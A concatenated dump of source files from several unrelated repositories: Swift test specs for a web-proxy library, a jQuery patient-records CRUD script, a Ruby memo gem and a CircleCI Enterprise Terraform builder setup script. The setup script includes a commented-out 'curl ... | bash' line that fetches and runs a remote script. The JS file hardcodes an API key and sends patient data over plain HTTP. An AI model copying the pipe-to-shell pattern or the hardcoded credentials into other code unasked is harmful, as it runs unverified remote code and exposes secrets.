expect(proxyRequestMapper.mappedHeaders as? [String: String]) == [:] } it("should map the correct path") { expect(proxyRequestMapper.mappedPath) == "path" } it("should map the correct query") { expect(proxyRequestMapper.mappedQuery as? [String: String]) == [:] } it("should return the request") { expect(server.returnedRequest).toNot(beNil()) } it("should dispatch the request") { expect(requestDispatcher.dispatchedRequest).to(beIdenticalTo(server.returnedRequest)) } } } } } // MARK: - Mock private class MockProxyRequestMapper: FrontendProxyRequestMapper { var mappedMethod: String! var mappedURL: URL! var mappedHeaders: [AnyHashable: Any]! var mappedPath: String! var mappedQuery: [AnyHashable: Any]! fileprivate override func map(method: String!, url: URL!, headers: [AnyHashable : Any]!, path: String!, query: [AnyHashable : Any]!, proxyResources: [ProxyResource]) -> GCDWebServerRequest? { self.mappedMethod = method self.mappedURL = url self.mappedHeaders = headers self.mappedPath = path self.mappedQuery = query return GCDWebServerRequest(method: "GET", url: URL(string: "url")!, headers: [:], path: "pepi", query: [:]) } } private class MockRequestDispatcher: FrontendRequestDispatcher { var dispatchedRequest: GCDWebServerRequest! fileprivate override func dispatch(request: GCDWebServerRequest, completion: @escaping GCDWebServerCompletionBlock) { self.dispatchedRequest = request } } private class MockGCDServer: GCDWebServer { var getHandlerBasePath: String! var getHandlerDirectoryPath: String! var getHandlerIndexFileName: String! var getHandlerCacheAge: UInt! var getHandlerAllowRangeRequests: Bool! var returnedRequest: GCDWebServerRequest! fileprivate override func addGETHandler(forBasePath basePath: String!, directoryPath: String!, indexFilename: String!, cacheAge: UInt, allowRangeRequests: Bool) { self.getHandlerBasePath = basePath self.getHandlerDirectoryPath = directoryPath self.getHandlerIndexFileName = indexFilename self.getHandlerCacheAge = cacheAge self.getHandlerAllowRangeRequests = allowRangeRequests } fileprivate override func addHandler(match matchBlock: GCDWebServerMatchBlock!, asyncProcessBlock processBlock: GCDWebServerAsyncProcessBlock!) { self.returnedRequest = matchBlock("GET", URL(string: "url")!, [:], "path", [:]) processBlock(self.returnedRequest, { _ in }) } } <file_sep>import Foundation import Quick import Nimble @testable import Frontend class FrontendConfigurationSpec: QuickSpec { override func spec() { var manifestUrl: String! var baseUrl: String! var port: UInt! var proxyResources: [ProxyResource]! var subject: FrontendConfiguration! var zipPath: String! beforeEach { manifestUrl = "manifestUrl" baseUrl = "baseUrl" port = 8080 proxyResources = [ProxyResource(path: "path", url: "url")] zipPath = "path" } describe("-init") { beforeEach { subject = FrontendConfiguration(manifestUrl: manifestUrl, baseUrl: baseUrl, port: port, zipPath: zipPath, proxyResources: proxyResources) } it("should set the correct manifestUrl") { expect(subject.manifestUrl) == manifestUrl } it("should set the correct baseUrl") { expect(subject.baseUrl) == baseUrl } it("should have the correct proxyResources") { expect(subject.proxyResources) == proxyResources } it("should set the correct localPath") { expect(subject.localPath) == FrontendConfiguration.defaultDirectory() } it("should have the correct zipPath") { expect(subject.zipPath) == zipPath } } } }<file_sep>import Foundation import GCDWebServer internal class FrontendResponseMapper { internal func map(data data: Data?, response: URLResponse?, error: Error?) -> GCDWebServerResponse { let httpUrlResponse = (response as? HTTPURLResponse) let contentType = httpUrlResponse?.allHeaderFields["Content-Type"] as? String ?? "" var response: GCDWebServerDataResponse! if let data = data { response = GCDWebServerDataResponse(data: data, contentType: contentType) } else { response = GCDWebServerDataResponse() } //TODO: What if Error? //TODO: Update the source url? if let statusCode = httpUrlResponse?.statusCode { response?.statusCode = statusCode } for header in (httpUrlResponse?.allHeaderFields ?? [:]).keys { response.setValue(httpUrlResponse!.allHeaderFields[header] as! String!, forAdditionalHeader: header as! String) } return response } } <file_sep>import Foundation public enum FrontendManifestError: Error { case invalidManifest(String) case unconvertibleJSON } public enum FrontendFileManagerError: Error { case notAvailable } public enum FrontendControllerError: Error, Equatable { case alreadyDownloading case noFrontendAvailable } <file_sep>import Foundation import GCDWebServer internal class FrontendRequestMapper { internal func map(request: GCDWebServerRequest) -> URLRequest { var urlRequest: URLRequest = URLRequest(url: request.url.appendingPathComponent(request.path)) urlRequest.httpMethod = request.method urlRequest.allHTTPHeaderFields = request.headers as? [String: String] urlRequest.httpBody = try? JSONSerialization.data(withJSONObject: request.query, options: []) return urlRequest } } <file_sep>import Foundation import SwiftyJSON public typealias ManifestMapper = (String) -> ((AnyObject) -> Manifest) internal var DefaultManifestMapper: ManifestMapper = { baseUrl in return { input -> Manifest in let json = JSON(input) let commit = json["commit"].stringValue let buildAuthor = json["build_author"].stringValue let gitBranch = json["git_branch"].stringValue let timestamp = json["timestamp"].intValue var files: [Manifest.File] = [] for element in json["files"].enumerated() { let path: String = element.element.0 let hash: String = element.element.1.stringValue let file: Manifest.File = Manifest.File(path: path, hash: hash) files.append(file) } return Manifest(baseUrl: baseUrl, commit: commit, buildAuthor: buildAuthor, gitBranch: gitBranch, timestamp: timestamp, files: files) } }
c8e4fafe3f9058b562824e9871fc8efe661d23fe
[ "Swift", "Ruby", "Markdown" ]
29
Swift
johndpope/Frontend-1
df97d1e92ea1e29a39d04d5b9cda8984384e224b
983dcf76dd8b69ff87a09f17700f46b5aeec5eaa
refs/heads/master
<file_sep>$(document).ready(function () { $('.date').mask('0000/00/00'); $('.phone').mask('00000-0000'); $('.cpf').mask('000.000.000-00', { reverse: true }); carregar(); SNButton.init("cadastrarPaciente", { fields: ["nome", "celular", "cpf", "dataNascimento"] }); }); var $pacientes = $('#pacientes'); var $nome = $('#nome'); var $cpf = $('#cpf'); var $dataNascimento = $('#dataNascimento'); var $celular = $('#celular'); var key = "23be778f-d904-4491-861a-6d226da05b49"; var urlbase = "http://si.shx.com.br:9999/shx-teste-backend/paciente/v2/"; var $idEdicao = 0; var carregar = function () { $.ajax({ type: 'GET', dataType: 'json', url: urlbase + "findall/" + key, success: function carregarDados(data) { $pacientes.empty(); JSON.stringify(data); $.each(data.body, function (i, paciente) { $pacientes.append (` <tr data-id=${paciente.id}> <td> ${paciente.nome}</td> <td> ${paciente.cpf} </td> <td> ${paciente.dataNascimento} </td> <td> ${paciente.celular} </td> <td> <button type="button" class="btn btn-primary editar" id='${paciente.id}'>Editar</button> <button type="button" class="btn btn-warning remover" id='${paciente.id}')">Remover</button> </td> </tr>` ); }); $('.remover').on('click', function (e) { deletar(e.target.id); }); $('.editar').on('click', function (e) { editar(e.target.id); }); }, error: function () { alert('Erro Ao tentar abrir o API'); document.write('<p>Erro ao tentar API.</p>'); } }); } var deletar = function (id) { var data = { id: id, chave: key }; $.ajax({ type: 'DELETE', contentType: "application/json", dataType: "json", url: urlbase + "remove", data: JSON.stringify(data), success: function (response) { carregar(); }, error: function (error) { alert(error) } }); } var editar = function (id) { var data = { id: id, chave: key } $.ajax({ type: 'POST', contentType: "application/json", dataType: "json", url: urlbase + "findone", data: JSON.stringify(data), success: function (response) { mostrarDadosEdicao(response.body); }, error: function (error) { alert(error) } }); } var mostrarDadosEdicao = function (dados) { $nome.val(dados.nome); $dataNascimento.val(dados.dataNascimento); $cpf.val(dados.cpf); $celular.val(dados.celular); $idEdicao = dados.id; $('#labelCadastro').hide(); $('#cadastrarPaciente').hide(); $('#labelEdicao').show(); $('#editarPaciente').show(); $('#formularioModal').modal('show'); } $('#showModalCadastrar').on('click', function () { $('#adicionarPaciente')[0].reset(); $('#labelCadastro').show(); $('#cadastrarPaciente').show(); $('#labelEdicao').hide(); $('#editarPaciente').hide(); }); $('#cadastrarPaciente').on('click', function () { var novoPaciente = { nome: $nome.val(), dataNascimento: $dataNascimento.val(), cpf: $cpf.val().replace('.', '', ).replace('.', '').replace('-', ''), celular: $celular.val().replace('-', ''), chave: key }; $.ajax({ type: 'POST', contentType: "application/json", dataType: "json", url: urlbase + "persist", data: JSON.stringify(novoPaciente), beforeSend: function(){ }, success: function (criarPaciente) { carregar(); $('#formularioModal').modal('hide'); $('form input:text').val(''); }, error: function(jqXHR) { alert('Erro ao adicionar dados.'); console.log('jqXHR:'); console.log(jqXHR); } }); }); $('#editarPaciente').on('click', function (e) { var pacienteEditado = { nome: $nome.val(), dataNascimento: $dataNascimento.val(), cpf: $cpf.val().replace('.', '', ).replace('.', '').replace('-', ''), celular: $celular.val().replace('-', ''), chave: key, id: $idEdicao }; $.ajax({ type: 'PUT', contentType: "application/json", dataType: "json", url: urlbase + "merge", data: JSON.stringify(pacienteEditado), success: function (response) { $('#formularioModal').modal('hide'); $('form input:text').val(''); carregar(); } }) }); $('#cancelar').on('click', function(e) { $('form input:text').val(''); });
26f90adc721db79c6a31b396eaf8bc7810c18fcb
[ "JavaScript" ]
1
JavaScript
slainr/teste
eca47c5e59198f3caba575f3ebc1d91fb7dae28c
9821dcde6f9db8646c3e285a62f6859c784ca329
refs/heads/master
<file_sep>/** * Created by christopher on 12/09/17. */ import Vue from 'vue' import BootstrapVue from 'bootstrap-vue' import 'bootstrap/dist/css/bootstrap.css' import 'bootstrap-vue/dist/bootstrap-vue.css' Vue.use(BootstrapVue); <file_sep>import Vue from 'vue' import Router from 'vue-router' import Hello from '@/example/Hello' import login01 from '../example/login/login01.vue' import login01Scroll from '../example/login/login01-scroll.vue' import login02 from '../example/login/login02.vue' import login02Scroll from '../example/login/login02-scroll.vue' import login03 from '../example/login/login03.vue' import login03Scroll from '../example/login/login03-scroll.vue' import login04 from '../example/login/login04.vue' import templateDefalt from '../example/templateDefalt.vue' import aside from '../components/aside.vue' Vue.use(Router) export default new Router({ routes: [ { path: '/', name: 'Hello', component: Hello }, { path: '/login01', name: 'login01', component: login01 }, { path: '/login02', name: 'login02', component: login02 }, { path: '/login03', name: 'login03', component: login03 }, { path: '/login01Scroll', name: 'login01Scroll', component: login01Scroll }, { path: '/login02Scroll', name: 'login02Scroll', component: login02Scroll }, { path: '/login03Scroll', name: 'login03Scroll', component: login03Scroll }, { path: '/login04', name: 'login04', component: login04 }, { path: '/templateDefalt', name: 'templateDefalt', component: templateDefalt }, { path: '/aside', name: 'aside', component: aside } ] }) <file_sep>/** * Created by christopher on 12/09/17. */ import Vue from 'vue' /*import ElementUI from 'element-ui' import 'element-ui/lib/theme-default/index.css' import locale from 'element-ui/lib/locale/lang/pt-br' Vue.use(ElementUI, { locale });*/ import ElementUI from 'element-ui' import 'element-ui/lib/theme-chalk/index.css' Vue.use(ElementUI); <file_sep>/** * Created by christopher on 12/09/17. */ import temaBootstrap from './src/temaBootstrap' import myComponent from './src/components/myComponent.vue' import myBotao from './src/components/myBotao.vue' import RenderFildText from './src/components/RenderFildText.vue' export { myComponent, myBotao, RenderFildText } <file_sep>import Vue from 'vue' import Router from 'vue-router' import HelloWorld from '@/example/HelloWorld.vue' import aside from '@/components/myAside' import myLogin from '@/components/myLogin' import myCreatUser from '@/components/myCreatUser' import myForgotPassword from '@/components/myForgotPassword' Vue.use(Router) export default new Router({ routes: [ { path: '/HelloWorld', name: 'Hello', component: HelloWorld }, { path: '/aside', name: 'aside', component: aside }, { path: '/', name: 'myLogin', component: myLogin }, { path: '/creat', name: 'myCreatUser', component: myCreatUser }, { path: '/forgotPassword', name: 'myForgotPassword', component: myForgotPassword } ] }) <file_sep>/** * Created by christopher on 17/10/17. */ import myComponent from './components' import cssGlobal from "./src/cssGlobal" export {myComponent} <file_sep>/** * Created by christopher on 08/11/17. */ import Vue from 'vue' import cssGlobal from './assets/css-global.css' import ElementUI from 'element-ui' import 'element-ui/lib/theme-chalk/index.css' Vue.use(ElementUI); export { } <file_sep>import myAside from "./src/components/myAside" import myHeader from "./src/components/myHeader" import myBody from "./src/components/myBody" import myActionsButton from "./src/components/myActionsButton.vue" import myDetailsShow from "./src/components/myDetailsShow.vue" import myContainer from "./src/components/myContainer.vue" import myModuleTitle from "./src/components/myModuleTitle.vue" import myLogin from './src/components/myLogin' import myCreatUser from "./src/components/myCreatUser" import myForgotPassword from "./src/components/myForgotPassword" import myProfile from "./src/components/myProfile" import myExTableSearch from "./src/example/myExTableSearch.vue" import myExCreate from "./src/example/myExCreate.vue" import myExShow from "./src/example/myExShow.vue" const MyPlugin = { install(Vue) { Vue.component("myExTableSearch", myExTableSearch); Vue.component("myExCreate", myExCreate); Vue.component("myExShow", myExShow); Vue.component("myActionsButton", myActionsButton); Vue.component("myDetailsShow", myDetailsShow); Vue.component("myModuleTitle", myModuleTitle); Vue.component("myContainer", myContainer); Vue.component("myLogin", myLogin); Vue.component("myCreatUser", myCreatUser); Vue.component("myForgotPassword", myForgotPassword); Vue.component("myProfile", myProfile); Vue.component("myAside", myAside); Vue.component("myHeader", myHeader); Vue.component("myBody", myBody); } }; export default MyPlugin
fe72478b8415d0c55350b708561f8602b053d1f1
[ "JavaScript" ]
8
JavaScript
chris1214/template-teste
28e7b443ded7c3235982e814c57976f50c384204
716ad4580e54e2f0109051a7287084158f5ab5b9
refs/heads/master
<repo_name>thihenos/gcp-node-examples<file_sep>/node-storage/README.md # image-watermark API estrutura de pastas: ```bash ├── server # Configuração do server │ ├── config # Configs - Redis | Datastore | Promisses Handler │ ├── functions # "Controllers" para conexão com Redis e Datastore │ ├── secure # Variáveis de ambiente e JSON de autenteicação │ └── services # Chamadas de validações ├── bitbucket-pipelines.yml # Configuração do Pipeline ├── package.json # Dependências ├── app.yaml # Configuração App Engine ├── index.js # Configurações iniciais do serviço └── README.md # Esse Arquivo ``` # Onde estou? Projeto : autoavaliar-apps GCloud Function : imageWatermark # Comandos principais: - `npm start` : inicia a aplicação apontando para a produção - `npm test` : inicia a aplicação em modo teste ## Como funciona a API ? ### 1 - Usando a API Inicialmente, a **HG-API** irá enviar uma requisição POST para o do Cloud Function > POST https://us-central1-autoavaliar-apps.cloudfunctions.net/imageWatermark Nesta requisição, deverá ser enviado os seguintes dados ```javascript // Exemplo de JSON enviado na requisição "message" : { "attributes" : { "method" : 'storage', //base64 | storage "bucketDownload" : 'photo-ecossistema', //Nome do intervalo "bucketUpload" : 'photo-ecossistema', //Nome do intervalo "country" : 'ar', // br | qualquer pais já será considerado AutoAction "token" : <HG_TOKEN> //token enviado pela HG }, "data" : '<BASE64>' } ``` ### 2 - A lógica - A aplicação irá converter o base64 do atributo DATA da requisição, que consistirá nos endereços das imagens do storage - A aplicação irá validar a autenticidade do **TOKEN** da HG e irá validar se é correspondente com o SECRET que estará armazenado na variável de ambiente - Após validar, a API executa a seguinte operação me *promises* - Download do arquivo do bucket - Resize da imagem para 800X600 - Aplicação da Marca D'agua - Upload no storage - Remoção dos arquivos na pasta temp e download ```javascript // Em caso positivo res.status(200).send({message : 'Fotos tratadas com sucesso!'}); // Em caso positivo de autenticação porem sem imagens res.status(204).send({message : 'Não há arquivo na requisição!'}); // Em caso negativo response.status(403).send({message : 'Chamada não permitida'}); ``` # To Do - Processamento em batch de base64 ## Dicas: É extremamente importante que o nodemon esteja instalado na máquina de quem for rodar a aplicação Caso seja necessário a reconfiguração do Redis, será necessário editar os dados nas variáveis de ambiente, que estarão dentro do do path `server/secure/.env` #### Podemos também utilizar! * Utilizar a lib [jimp-watermak](https://www.npmjs.com/package/jimp-watermark) para carimbar o logo nas imagens. * Utilizar a lib [image-watermak](https://github.com/luthraG/image-watermark) criar marca d'agua. * Utilizar a lib para [caption](https://stackoverflow.com/questions/50465099/watermark-in-image-using-nodejs) # Pipeline A pipeline vai efetuar o deploy da API no projeto autoavaliar-apps como um Cloud Function com o nome de imageWatermark <file_sep>/node-appengine/README.md # Hold - API topologia: ```mermaid graph LR U[Luke] -->|"[POST] /api/setQueue"| Z[Express] Z --> View{token?} View --> |Não| S[401 - Unauthorized] View -->|Sim| C1{Config no cache ?} C1-->|Não|M1[Datastore] C1-->|Sim|D1{Entidade configurada ?} M1 -->DT[Setar dados no Redis] DT-->D1 D1 --> |Não|Default[5 Min] D1 --> |Sim|D2[Tempo da entidade] end ``` ![picture](graph.png) estrutura de pastas: ```bash ├── server # Configuração do server │ ├── config # Configs - Redis | Datastore | Promisses Handler │ ├── functions # "Controllers" para conexão com Redis e Datastore │ ├── secure # Variáveis de ambiente e JSON de autenteicação │ ├── services # Chamadas de validações │ └── routes.js # Roteamento REST ├── bitbucket-pipelines.yml # Configuração do Pipeline ├── package.json # Dependências ├── app.yaml # Configuração App Engine ├── server.js # Configurações iniciais do serviço └── README.md # Esse Arquivo ``` # Comandos principais: - `npm start` : inicia a aplicação apontando para a produção - `npm run dev` : inicia a aplicação apontando para a produção, rodando node monitor para desenvolvimento ## Como funciona a API ? ### 1 - Configurações A intenção do desenvolvimento da *API* é para controlar a quantidade de requisições de integrações para não acarretar problemas de chamadas excessivas. A *API* trabalhará como um semáforo controlando as requisições por quantidade de requisições permitidas e o tempo de espera para a próxima requisição. Essas configurações serão armazenadas no **Datatore** do projeto **sa-hg-db**, onde poderemos contar com as seguintes informações: ```javascript // Entidade holdConfig { "entity_id" : "10", //Id da entidade "instance_id": "23", //Id da instância "max_intersection": "10", //Maximo de chamadas permitidas por essa entidade "root" : "LUKE-ESTOQUE", //Nome do ROOT que enviariá a chamada "ttl" : "5", //Tempo de vida na fila do REDIS em minutos "ttr": "5"// Assim que chegar no seu limite de max_intersection, esse será o tempo que a proxima chamada deverá respeitar em minutos } ``` ### 2 - Usando a API Inicialmente, o **LUKE** irá enviar uma requisição POST para o endereço > /api/setQueue Nesta requisição, deverá ser enviado os seguintes dados ```javascript // Exemplo de JSON enviado na requisição "headers": { "Content-Type": "application/json", "token": "<PASSWORD>" }, "body": { "root" : "ENTIDADE" //Será definido e configurado no datastore } ``` ### 3 - A lógica - A aplicação irá validar a autenticidade do **TOKEN** - Iremos validar se as configurações já tenham sido carregadas do Datastore para o Redis - Se não foi carregado, será carregado no Redis com validade de um dia - Caso tenha sido carregado posteriormente, prosseguiremos para o próximo passo - Validaremos se o **ROOT** que está invocando a *API* está configurado , em caso positivo - Iremos incrementar mais uma chamada no Redis, caso não tenha chego no limite definido na sessão **1 - Configurações** - Retornaremos o status conforme o step anterior definir, com as seguintes informações - Lembrando que o `ttr` será retornado em minutos ```javascript // Em caso positivo response.status(200).send({message : 'Chamada permitida!', grant : true}); // Em caso negativo response.status(403).send({message : 'Chamada não permitida', ttr: 10 , grant : false}); ``` - Validaremos se o **ROOT** que está invocando a *API* está configurado , em caso negativo, enviaremos a requisição para uma fila **DEFAULT** que terá como padrão o máximo de apenas 5 chamadas. - Iremos incrementar mais uma chamada no **Redis** na fila **DEFAULT**, caso não tenha chego no limite de 5 chamadas - Retornaremos o status conforme o step anterior definir, com as seguintes informações - Lembrando que o `ttr` será retornado em minutos ```javascript // Em caso positivo response.status(200).send({message : 'Chamada permitida!', grant : true}); // Em caso negativo response.status(403).send({message : 'Chamada não permitida', ttr: 5, grant : false}); ``` ## Dicas: É extremamente importante que o nodemon esteja instalado na máquina de quem for rodar a aplicação Caso seja necessário a reconfiguração do Redis, será necessário editar os dados nas variáveis de ambiente, que estarão dentro do do path `server/secure/.env` # Pipeline A pipeline vai efetuar o deploy da API no projeto sa-hg-sys no modo standard <file_sep>/node-function/index.js /** * Autor : @thihenos * Script de testes para Google Cloud Function * * Descrição: * Parametros: - teste: texto simples para ser exibido no retorno */ exports.examplo = (req, res) => { res.status(200).send(req.body.message); }; <file_sep>/node-storage/download.js const {Storage} = require('@google-cloud/storage'); const storage = new Storage({keyFilename: "./secret/keyFile.json"}); console.log(`-------------------- Download de imagem ------------------`); return new Promise((resolve, reject) => { const myBucket = storage.bucket(`teste-nerds-gcp`); const file = myBucket.file('sups.jpeg'); //Download do arquivo do bucket para a pasta temporária file.download({destination: `./src/sups.jpeg`}, function(err) { if(err){ console.log(err); reject(err); } }); }).catch((erro)=>{ console.log(erro); }); <file_sep>/node-storage/update.js const {Storage} = require('@google-cloud/storage'); const storage = new Storage({keyFilename: "./secret/keyFile.json"}); async function uploadFile() { await storage.bucket('teste-nerds-gcp').upload(`./src/bat.jpeg`, { destination: `bat.jpeg`, public : true }); console.log(`-------------------- Upload de imagem no storage ------------------`); } //Função de upload e remoção dos arquivos temporários uploadFile().then(()=>{ }).then(()=>{ console.log('Upload Finalizado!') }).catch(console.error);
15294600563677b30a51fa3b2fc04e3ccd1d13b2
[ "Markdown", "JavaScript" ]
5
Markdown
thihenos/gcp-node-examples
cfe86efd318007197e27186c63d908a373497d64
d8444c0e4930c1067a3c1dea04e6029b1cb2f1e3
refs/heads/master
<file_sep>.PHONY: init ansible-setup init: @if [ -f terraform.tfvars ]; then mv terraform.tfvars terraform.tfvars-`date "+%Y-%m-%d-%H:%M:%S"`; fi @rsync -aq terraform.tfvars.template terraform.tfvars ansible-setup: @mkdir -p .ansible @ansible-galaxy install -fr requirements.yml <file_sep>#!/bin/bash set -exu #apt-cache policy | grep circle || curl https://s3.amazonaws.com/circleci-enterprise/provision-builder.sh | bash #curl https://s3.amazonaws.com/circleci-enterprise/init-builder-0.2.sh | \ # SERVICES_PRIVATE_IP='${services_private_ip}' \ # CIRCLE_SECRET_PASSPHRASE='${circle_secret_passphrase}' \ # bash BUILDER_IMAGE="circleci/build-image:ubuntu-14.04-XXL-1167-271bbe4" export http_proxy="${http_proxy}" export https_proxy="${https_proxy}" export no_proxy="${no_proxy}" echo "-------------------------------------------" echo " Performing System Updates" echo "-------------------------------------------" apt-get update && apt-get -y upgrade echo "--------------------------------------" echo " Installing Docker" echo "--------------------------------------" apt-get install -y linux-image-extra-$(uname -r) linux-image-extra-virtual apt-get install -y apt-transport-https ca-certificates curl curl -fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add - add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" apt-get update apt-get -y install docker-ce=17.03.2~ce-0~ubuntu-trusty cgmanager sudo echo 'export http_proxy="${http_proxy}"' >> /etc/default/docker sudo echo 'export https_proxy="${https_proxy}"' >> /etc/default/docker sudo echo 'export no_proxy="${no_proxy}"' >> /etc/default/docker sudo service docker restart echo "-------------------------------------------" echo " Pulling Server Builder Image" echo "-------------------------------------------" sudo docker pull $BUILDER_IMAGE # Make a new docker network docker network create -d bridge -o "com.docker.network.bridge.name"="circle0" circle-bridge # Block traffic from build containers to the EC2 metadata API iptables -I FORWARD -d 169.254.169.254 -p tcp -i docker0 -j DROP # Block traffic from build containers to non-whitelisted ports on the services box iptables -I FORWARD -d ${services_private_ip} -p tcp -i docker0 -m multiport ! --dports 80,443 -j DROP echo "-------------------------------------------" echo " Starting Builder" echo "-------------------------------------------" sudo docker run -d -p 443:443 -v /var/run/docker.sock:/var/run/docker.sock \ -e CIRCLE_CONTAINER_IMAGE_URI="docker://$BUILDER_IMAGE" \ -e CIRCLE_SECRET_PASSPHRASE='${circle_secret_passphrase}' \ -e SERVICES_PRIVATE_IP='${services_private_ip}' \ --net circle-bridge \ circleci/builder-base:1.1 <file_sep># CircleCI Enterprise Setup This package allows you to easily orchestrate your CCIE cluster in AWS using Terraform. # Getting Started ## Pre Reqs - Terraform ## Installation ### Basic 1. Clone or download this repository 1. Execute `make init` or save a copy of `terraform.tfvars.template` to `terraform.tfvars` 1. Fill in the configuration vars in `terraform.tfvars` for your cluster. see [Configuration](#configuration) 1. Run `terraform apply` ### Advanced: Ansible provisioning Advanced install involves using Ansible to fully configure your services box without having to configure it via the user interface. This installation method requires having Ansible locally installed on the machine you will be running Terraform on. To enable Ansible provisioning, set `enable_ansible_provisioning = true` in your tfvars file. Then add a dictionary to your tfvars file called `ansible_extra_vars` containing the extra variables that will be passed to the Ansible playbook in this project. Example: ``` enable_ansible_provisioning = true ansible_extra_vars = { license_file_path = "/path/to/my/CircleCILicense.rli" ghe_type = "github_type_enterprise" ghe_domain = "ghe.example.com" github_client_id = "insertclientidfromghe" github_client_secret = "insertclientsecretfromghe" aws_access_key_id = "insertawskey" aws_access_secret_key = "insertawssecretkey" } ``` ## Configuration To configure the cluster that terraform will create, simply fill out the terraform.tfvars file. The following are all required vars: | Var | Description | | -------- | ----------- | | aws_access_key | Access key used to create instances | | aws_secret_key | Secret key used to create instances | | aws_region | Region where instances get created | | aws_vpc_id | The VPC ID where the instances should reside | | aws_subnet_id | The subnet-id to be used for the instance | | aws_ssh_key_name | The SSH key to be used for the instances| | circle_secret_passphrase | <PASSWORD> key for secrets used by CircleCI machines | Optional vars: | Var | Description | Default | | -------- | ----------- | ------- | | services_instance_type | instance type for the centralized services box. We recommend a c4 instance | c4.2xlarge | | builder_instance_type | instance type for the builder machines. We recommend a r3 instance | r3.2xlarge | | max_builders_count | max number of builders | 2 | | nomad_client_instance_type | instance type for the nomad clients. We recommend a XYZ instance | m4.xlarge | | max_clients_count | max number of nomad clients | 2 | | prefix | prefix for resource names | circleci | | enable_nomad | provisions a nomad cluster for CCIE v2 | 0 | | enable_ansible_provisioner | enable provisioning of Services box via Ansible | 0 | | enable_route | enable creating a Route53 route for the Services box | 0 | | route_name | Route name to configure for Services box | "" | | route_zone_id | Zone to configure route in | "" | <file_sep>#! /usr/bin/env bash set -e set -o pipefail brew_install_terraform() { brew -v &> /dev/null || return 1 echo "It looks like you have homebrew installed. Would you like to use it to install Terraform?" >&2 echo "1: Yes, install Terraform on the system using homebrew." >&2 echo "2: No, use local Terraform without installing it on the system." >&2 echo "3: Exit. I'll install it on my own." >&2 read selection case "$selection" in 1) brew install terraform;; 2) return 1;; 3) exit 1;; *) echo "Please enter \"1\", \"2\", or \"3\" then hit ENTER" >&2; brew_install_terraform "$@";; esac } install_local_terraform() { platform="$1" tempfile=$(mktemp) curl -o $tempfile "https://releases.hashicorp.com/terraform/0.6.14/terraform_0.6.14_${platform}_amd64.zip" mkdir -p .dependencies unzip $tempfile -d .dependencies } install_terraform() { if [[ $OSTYPE =~ darwin.* ]]; then # Special-case terraform uninstalled but homebrew installed, because that's most customers [[ -z $local ]] && brew_install_terraform || install_local_terraform darwin elif [[ $OSTYPE = linux-gnu ]]; then install_local_terraform linux else echo "Unsupported OSTYPE: $OSTYPE" >&2 exit 1 fi } terraform_wrapper() { version=$(terraform -v 2>/dev/null | awk '{print $2}') || true if [[ -x .dependencies/terraform ]]; then echo "Using local Terraform" >&2 .dependencies/terraform "$@" elif [[ -z $version ]]; then install_terraform terraform_wrapper "$@" else echo "Using system Terraform" >&2 terraform "$@" fi } terraform_wrapper "$@"
5ec1082e4459acbc8811fc1f6cbade1cce9722d1
[ "Markdown", "Makefile", "Shell" ]
4
Makefile
indiegogo/enterprise-setup
ba02d52b27504785f8323dfe4451fe66af77d24d
df04d025802ce13a1e6ddb701e93cfc3c0807a99
refs/heads/master
<repo_name>kazukousen/dadan<file_sep>/lib/dadan/time.rb class Time def yesterday self - 60*60*24 end end <file_sep>/lib/dadan/memo.rb require 'zlib' require 'fileutils' module Dadan class Memo module WorkSpace Dadan = "#{Dir.home}/.dadan" Objects = "#{Dadan}/objects" Path = "#{Dadan}/worker.md" end def initialize(editor) @editor = editor if File.exists?(WorkSpace::Dadan) FileUtils.rm(WorkSpace::Path) if File.exists?(WorkSpace::Path) else FileUtils.mkdir_p(WorkSpace::Dadan) end end attr_reader :editor def edit system("#{@editor} #{WorkSpace::Path}") end def save time = Time.now.strftime("%Y%m%d%H%M%S") packed_body = Zlib::Deflate.deflate(File.read(WorkSpace::Path)) FileUtils.mkdir_p(WorkSpace::Objects) unless File.exists?(WorkSpace::Objects) open("#{WorkSpace::Objects}/#{time}", 'w') do |file| file.write packed_body end time end def self.open_dayfile(day) statements = "" Dir.glob("#{Dir.home}/.dadan/objects/#{day}*").each do |file| statements << self.open_object(file[-14..-1]) statements << "---\n" end puts statements end def self.open_file(time) puts self.open_object(time) end private def self.open_object(time) object_path = "#{WorkSpace::Objects}/#{time}" raise 'Invalid File at this time' unless File.exists?(object_path) Zlib::Inflate.inflate(File.read(object_path)) end end end <file_sep>/lib/dadan/cli.rb # coding: utf-8 require 'dadan' require 'thor' module Dadan class CLI < Thor module Worker Editor = 'vi' Path = "#{Dir.home}/.dadan/worker.md" end default_command :first_run desc 'hello NAME', 'say hello to NAME' def hello(name) puts 'hello ' << name end desc 'run', 'default new file' def first_run memo = Memo.new(Worker::Editor) memo.edit time = memo.save puts "Memorized at #{time}" end desc 'worker', 'workspace' def worker dir = "#{Dir.home}/.dadan/" FileUtils.mkdir_p(dir) unless File.exists?(dir) worker_path = "#{dir}/worker.md" FileUtils.rm(worker_path) if File.exists?(worker_path) end desc 'edior', 'vim output' def edit system("#{Worker::Editor} #{Worker::Path}") end desc 'save', 'file save' def save Memo.save_file(Worker::Path) end desc "today's file", "today's file open" def today day = Time.now.strftime("%Y%m%d") Memo.open_dayfile(day) end desc "yesterday's file", "yesterday's file open" def yesterday day = Time.now.yesterday.strftime("%Y%m%d") Memo.open_dayfile(day) end desc "day's file", "day's file open" def day(daytime) if daytime.length == 4 year = Time.now.strftime("%Y") daytime = "#{year}#{daytime}" end Memo.open_dayfile(daytime) end end end <file_sep>/lib/dadan.rb require 'dadan/version' require 'dadan/memo' require 'dadan/time' require 'dadan/cli' module Dadan # Your code goes here... end <file_sep>/exe/dadan #!/usr/bin/env ruby require "dadan" Dadan::CLI.start(ARGV)
d5857617f682be8beb9d9e42f001fa6b7bc4b667
[ "Ruby" ]
5
Ruby
kazukousen/dadan
2fad9d566895fffcc44fcbf152c458477ebb8ee5
2edaaf659d93fb438545c6ed6e80c77c106dd4f8
refs/heads/master
